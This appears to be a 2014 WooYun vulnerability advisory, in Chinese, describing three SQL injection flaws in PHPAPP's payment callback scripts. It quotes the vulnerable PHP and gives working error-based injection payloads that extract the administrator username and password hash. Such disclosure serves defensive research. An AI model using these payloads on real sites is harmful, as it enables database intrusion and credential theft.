当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-055604

漏洞标题:PHPAPP网站应用系统SQL注入1

相关厂商:PHPAPP

漏洞作者: xfkxfk

提交时间:2014-04-09 16:21

修复时间:2014-07-09 10:16

公开时间:2014-07-09 10:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-09: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-07-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

PHPAPP 全球领先的网站应用系统。
PHPAPP 全球网站应用的开创者,独创系统核心长期提供丰富网站应用程序,专为站长企业打造盈利应用。

详细说明:

第一个漏洞:
PHPAPP网站应用系统官方最新版SQL注入
程序官网:http://www.phpapp.cn/index.html
在文件/api/chinabank/receive.php中:

<?
include('../../api.php');
$key=PHPAPP::$config['chinabankkey']; //登陆后在上面的导航栏里可能找到“资料管理”,在资料管理的二级导航栏里有“MD5密钥设置”
$v_oid =trim($_POST['v_oid']); // 商户发送的v_oid定单编号
$v_pmode =trim($_POST['v_pmode']); // 支付方式(字符串)
$v_pstatus =trim($_POST['v_pstatus']); // 支付状态 :20(支付成功);30(支付失败)
$v_pstring =trim($_POST['v_pstring']); // 支付结果信息 : 支付完成(当v_pstatus=20时);失败原因(当v_pstatus=30时,字符串);
$v_amount =trim($_POST['v_amount']); // 订单实际支付金额
$v_moneytype =trim($_POST['v_moneytype']); //订单实际支付币种
$remark1 =trim($_POST['remark1']); //备注字段1
$remark2 =trim($_POST['remark2']); //备注字段2
$v_md5str =trim($_POST['v_md5str']); //拼凑后的MD5校验值
$md5string=strtoupper(md5($v_oid.$v_pstatus.$v_amount.$v_moneytype.$key));
@include_once(APPS.'/pay/class/pay_class_phpapp.php');
$pay=new PayMoney();

if($v_md5str==$md5string){

if($v_pstatus=="20"){
$pay->SetPayMoney($v_oid,$v_amount,'ChinaBank');

}else{
$pay->PayError();
}
}else{
$pay->PayError();
}
?>


从上面看出:
当$v_md5str==$md5string,也就是就将我们输入的参数都md5一下,并且$v_pstatus=="20",即返回状态为20时,
进入SetPayMoney操作,

public function SetPayMoney($order,$paymoney=0,$payname=''){
//if($this->uid >0){

if($this->IsSQL('consume'," WHERE serial='$order' AND amount='$paymoney'")){
//$this->Refresh('该订单已支付过了',SURL);
$this->Refresh('充值成功!',SURL.'/member.php?app=5');
}else{

if($this->IsSQL('pay'," WHERE payorder='$order' AND paymoney='$paymoney'")){
$payname=$this->str($payname,26,1,0,1,0,1);

$apps=$this->GetMysqlOne('id_phpapp,name_phpapp'," ".$this->GetTable('apps')." WHERE class_phpapp='$payname'");

$payarray=$this->GetMysqlOne('payuid'," ".$this->GetTable('pay')." WHERE payorder='$order' AND paymoney='$paymoney' ");

//记录
include_once(APPS.'/apppay/class/consume_class_phpapp.php');

$pay=new UserConsume();

$newcid=$pay->MakeConsume(array(
'subject'=>'<p>充值</p>'.$apps['name_phpapp'],
'appid'=>$apps['id_phpapp'],
'serial'=>$order,
'paytype'=>3,
'process'=>1,
'amount'=>$paymoney,
'payout'=>0,
'payin'=>$payarray['payuid']
));
$pay->SetSuccessConsume($newcid);

//$this->Delete('pay'," WHERE payorder='$order' AND paymoney='$paymoney' AND payuid='$this->uid' ");

$this->Refresh('充值成功!',SURL.'/member.php?app=5');
}else{
$this->Refresh('该订单不存在或已关闭!',SURL);

}
}
//}else{
// $this->Refresh($this->LanguageArray('phpapp','Please_login_actions'),SURL);//}
}


直接进入SQL查询,导致SQL注入。
第二个漏洞:
PHPAPP网站应用系统官方最新版SQL注入
程序官网:http://www.phpapp.cn/index.html
在文件/api/alipay/notify_url.php中:

<?php
include('../../api.php');
$app=empty($_GET['app']) ? 0 : intval($_GET['app']);
$lang=empty($_GET['lang']) ? 1 : intval($_GET['lang']);
@require_once(APPS.'/alipay/alipay_config.php');
@require_once(APPS.'/alipay/class/alipay_notify.php');

@$alipay = new alipay_notify($partner,$key,$sign_type,$_input_charset,$transport);
@$verify_result = $alipay->notify_verify();

@include_once(APPS.'/pay/class/pay_class_phpapp.php');
$pay=new PayMoney();

if($verify_result){

//验证成功
$dingdan = $_POST['out_trade_no']; //获取支付宝传递过来的订单号
$total = $_POST['total_fee']; //获取支付宝传递过来的总价格

if($_POST['trade_status'] == 'TRADE_FINISHED' || $_POST['trade_status'] == 'TRADE_SUCCESS') {
$pay->SetPayMoney($dingdan,$total,'Alipay');
}else {
$pay->PayError();

}

}else {
$pay->PayError();

}
?>


能看出当验证成功时,进入SetPayMoney操作:

public function SetPayMoney($order,$paymoney=0,$payname=''){
//if($this->uid >0){

if($this->IsSQL('consume'," WHERE serial='$order' AND amount='$paymoney'")){
//$this->Refresh('该订单已支付过了',SURL);
$this->Refresh('充值成功!',SURL.'/member.php?app=5');
}else{

if($this->IsSQL('pay'," WHERE payorder='$order' AND paymoney='$paymoney'")){
$payname=$this->str($payname,26,1,0,1,0,1);

$apps=$this->GetMysqlOne('id_phpapp,name_phpapp'," ".$this->GetTable('apps')." WHERE class_phpapp='$payname'");

$payarray=$this->GetMysqlOne('payuid'," ".$this->GetTable('pay')." WHERE payorder='$order' AND paymoney='$paymoney' ");

//记录
include_once(APPS.'/apppay/class/consume_class_phpapp.php');

$pay=new UserConsume();

$newcid=$pay->MakeConsume(array(
'subject'=>'<p>充值</p>'.$apps['name_phpapp'],
'appid'=>$apps['id_phpapp'],
'serial'=>$order,
'paytype'=>3,
'process'=>1,
'amount'=>$paymoney,
'payout'=>0,
'payin'=>$payarray['payuid']
));
$pay->SetSuccessConsume($newcid);

//$this->Delete('pay'," WHERE payorder='$order' AND paymoney='$paymoney' AND payuid='$this->uid' ");

$this->Refresh('充值成功!',SURL.'/member.php?app=5');
}else{
$this->Refresh('该订单不存在或已关闭!',SURL);

}
}
//}else{
// $this->Refresh($this->LanguageArray('phpapp','Please_login_actions'),SURL);//}
}


这里是验证支付宝返回是否成功。
由于需要支付宝的接口配置,在正常环境下,此功能都是可用的。
这里我们假设返回验证成功了。
@$verify_result = $alipay->notify_verify() ? true : true;
第三个漏洞:
PHPAPP网站应用系统官方最新版SQL注入
程序官网:http://www.phpapp.cn/index.html
在文件/api/chinabank/AutoReceive.php中:

$key=PHPAPP::$config['chinabankkey'];                   //登陆后在上面的导航栏里可能找到“资料管理”,在资料管理的二级导航栏里有“MD5密钥设置” 
$v_oid =trim($_POST['v_oid']); // 商户发送的v_oid定单编号
$v_pmode =trim($_POST['v_pmode']); // 支付方式(字符串)
$v_pstatus =trim($_POST['v_pstatus']); // 支付状态 :20(支付成功);30(支付失败)
$v_pstring =trim($_POST['v_pstring']); // 支付结果信息 : 支付完成(当v_pstatus=20时);失败原因(当v_pstatus=30时,字符串);
$v_amount =trim($_POST['v_amount']); // 订单实际支付金额
$v_moneytype =trim($_POST['v_moneytype']); //订单实际支付币种
$remark1 =trim($_POST['remark1']); //备注字段1
$remark2 =trim($_POST['remark2']); //备注字段2
$v_md5str =trim($_POST['v_md5str']); //拼凑后的MD5校验值
$md5string=strtoupper(md5($v_oid.$v_pstatus.$v_amount.$v_moneytype.$key));
@include_once(APPS.'/pay/class/pay_class_phpapp.php');
$pay=new PayMoney();


if($v_md5str==$md5string){

if($v_pstatus=="20"){
$pay->SetPayMoney($v_oid,$v_amount,'ChinaBankPay');

}else{
$pay->PayError();
}
}else{
$pay->PayError();
}


这里直接获取POST过来的参数,并没有过滤
也没有判断访问权限,所以无需登录,可以直接访问。
而且这里的$key是默认为空。
当满足条件时就会进行SetPayMoney操作,我们来看看此函数:

public function SetPayMoney($order,$paymoney=0,$payname=''){

//if($this->uid >0){

if($this->IsSQL('consume'," WHERE serial='$order' AND amount='$paymoney'")){
//$this->Refresh('该订单已支付过了',SURL);
$this->Refresh('充值成功!',SURL.'/member.php?app=5');
}else{

if($this->IsSQL('pay'," WHERE payorder='$order' AND paymoney='$paymoney'")){
$payname=$this->str($payname,26,1,0,1,0,1);

$apps=$this->GetMysqlOne('id_phpapp,name_phpapp'," ".$this->GetTable('apps')." WHERE class_phpapp='$payname'");

$payarray=$this->GetMysqlOne('payuid'," ".$this->GetTable('pay')." WHERE payorder='$order' AND paymoney='$paymoney' ");
//记录
include_once(APPS.'/apppay/class/consume_class_phpapp.php');

$pay=new UserConsume();
$newcid=$pay->MakeConsume(array(
'subject'=>'<p>充值</p>'.$apps['name_phpapp'],
'appid'=>$apps['id_phpapp'],
'serial'=>$order,
'paytype'=>3,
'process'=>1,
'amount'=>$paymoney,
'payout'=>0,
'payin'=>$payarray['payuid']
));
$pay->SetSuccessConsume($newcid);

//$this->Delete('pay'," WHERE payorder='$order' AND paymoney='$paymoney' AND payuid='$this->uid' ");

$this->Refresh('充值成功!',SURL.'/member.php?app=5');
}else{
$this->Refresh('该订单不存在或已关闭!',SURL);
}
}
}


$order,$paymoney参数直接进入SQL语句,导致SQL注入。

漏洞证明:

第一个漏洞证明:
发送请求:
连接:
http://localhost/phpapp/api/Chinabank/receive.php
POST:
v_oid=yu' and (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) and 1=1#&v_pstatus=20&v_md5str=043B304ECA76E89F9A44DE11A0D3D03C
即可爆出管理员账户:

a.png


第二个漏洞证明:
这里是验证支付宝返回是否成功。
由于需要支付宝的接口配置,在正常环境下,此功能都是可用的。
这里我们假设返回验证成功了。
@$verify_result = $alipay->notify_verify() ? true : true;
发送请求:
连接:
http://localhost/phpapp/api/alipay/notify_url.php
POST:
out_trade_no=123' and (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) and 1=1#&total_fee=123&trade_status=TRADE_SUCCESS
成功爆出管理员账户:

b.png


第三个漏洞证明:
发送请求:
连接:
http://localhost/phpapp/api/Chinabank/autoreceive.php
POST:
v_oid=123' and (select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username,password) from phpapp_member limit 0,1))a from information_schema.tables group by a)b) and 1=1#&v_pstatus=20&v_amount=&v_moneytype=&v_md5str=BBDDD3F7BDE73D3519A838E71F75385F
这里的v_md5str的值必须是前面你所提交的所有参数的md5值。
如图,成功爆出管理员账户用户名密码。

c.png

修复方案:

加强过滤,对参数v_oid进行过滤处理。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝